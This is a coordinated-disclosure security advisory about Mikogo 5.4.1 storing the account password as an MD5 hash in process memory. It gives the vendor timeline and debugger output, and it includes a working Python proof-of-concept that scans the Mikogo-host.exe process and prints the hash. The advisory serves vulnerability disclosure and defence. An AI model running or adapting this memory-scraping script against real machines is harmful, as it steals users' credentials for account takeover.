### DescriptionMikogo is vulnerable to local credentials disclosure, the supplied password is stored as a MD5 hash format in memory process. A potential attacker could reveal the supplied password hash and re-use it or store it via the configuration file in order to gain access to the account.“`——————————————————————————–0:017> s -a 0 L?80000000 "password="0125cdad 70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67 password=..&lang0146e6b8 70 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61 password=…doma06a422b3 70 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34 password=482C8110:017> da 06a422b306a422b3 "password=482C811DA5D5B4BC6D497FF"06a422d3 "A98491E38…."……C:\Users\Charlie\Desktop>python mikogo_mem.py[~] Searching for pid by process name 'Mikogo-host.exe'..[+] Found process with pid #1116[~] Trying to read memory for pid #1116[+] Credentials found!—————————————-[+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38——————————————————————————–“`### VendorSnapview GmbH – https://www.mikogo.com### Affected Version5.4.1.160608### Tested OnMicrosoft Windows 7 Professional SP1 (EN)### Vendor Status* [03.07.2017] Vulnerability discovered.* [12.07.2017] Vendor contacted.* [12.07.2017] Vendor responds asking more details.* [12.07.2017] Sent details to the vendor.* [13.07.2017] Vendor is investigating the issue.* [31.07.2017] Asked vendor for status update.* [01.08.2017] Vendor responds confirming the issue, planning to improve the way they store authentication * information in their configuration file and how it is computed in the systems memory. Plans to release a fix together with further improvements in version 5.7.x within the next three months.* [01.08.2017] Replied to the vendor.* [14.08.2017] Asked vendor for status update.* [26.08.2017] No response from the vendor.* [27.08.2017] Asked vendor for status update.* [29.08.2017] Vendor responds, they are in finalization phase containing quality assurance and infrastructure preparations. Plans to release latest in November.* [23.10.2017] Vendor releases version 5.9.0 to address this issue.* [23.10.2017] Coordinated public security advisory released.
#!/usr/bin/env python### Mikogo 5.4.1.160608 Local Credentials Disclosure### Vendor: Snapview GmbH# Product web page: https://www.mikogo.com# Affected version: 5.4.1.160608## Summary: Mikogo is a desktop sharing software application for# web conferencing and remote support, and is provided by the online# collaboration provider, BeamYourScreen GmbH. Mikogo provides# its software as native downloads for Windows, Mac OS X, Linux,# iOS and Android.## Desc: Mikogo is vulnerable to local credentials disclosure, the# supplied password is stored as a MD5 hash format in memory process.# A potential attacker could reveal the supplied password hash and# re-use it or store it via the configuration file in order to gain# access to the account.## ——————————————————————## 0:017> s -a 0 L?80000000 "password="# 0125cdad 70 61 73 73 77 6f 72 64-3d 00 00 26 6c 61 6e 67 password=..&lang# 0146e6b8 70 61 73 73 77 6f 72 64-3d 00 00 00 64 6f 6d 61 password=…doma# 06a422b3 70 61 73 73 77 6f 72 64-3d 34 42 33 42 38 37 34 password=482C811# 0:017> da 06a422b3# 06a422b3 "password=482C811DA5D5B4BC6D497FF"# 06a422d3 "A98491E38…."## …# …## C:\Users\Charlie\Desktop>python mikogo_mem.py# [~] Searching for pid by process name 'Mikogo-host.exe'..# [+] Found process with pid #1116# [~] Trying to read memory for pid #1116# [+] Credentials found!# —————————————-# [+] MD5 Password: 482C811DA5D5B4BC6D497FFA98491E38## ——————————————————————## Tested on: Microsoft Windows 7 Professional SP1 (EN)### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic# @zeroscience### Advisory ID: ZSL-2017-5439# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5439.php### 03.07.2017### Based on Yakir Wizman's PoC:#import timeimport urllibfrom winappdbg import Debug, Processusername = ''password = ''found = 0filename = "Mikogo-host.exe"process_pid = 0memory_dump = [] debug = Debug()try: print "[~] Searching for pid by process name '%s'.." % (filename) time.sleep(1) debug.system.scan_processes() for (process, process_name) in debug.system.find_processes_by_filename(filename): process_pid = process.get_pid() if process_pid is not 0: print "[+] Found process with pid #%d" % (process_pid) time.sleep(1) print "[~] Trying to read memory for pid #%d" % (process_pid) process = Process(process_pid) for address in process.search_bytes('\x0a\x70\x61\x73\x73\x77\x6f\x72\x64\x3d'): memory_dump.append(process.read(address,42)) for i in range(len(memory_dump)): password = memory_dump[i].split('password=')[1] if password !='': found = 1 print "[+] Credentials found!\r\n—————————————-" print "[+] MD5 Password: %s" % password if found == 0: print "[-] Credentials not found! Make sure the client is connected." else: print "[-] No process found with name '%s'." % (filename) debug.loop()finally: debug.stop()
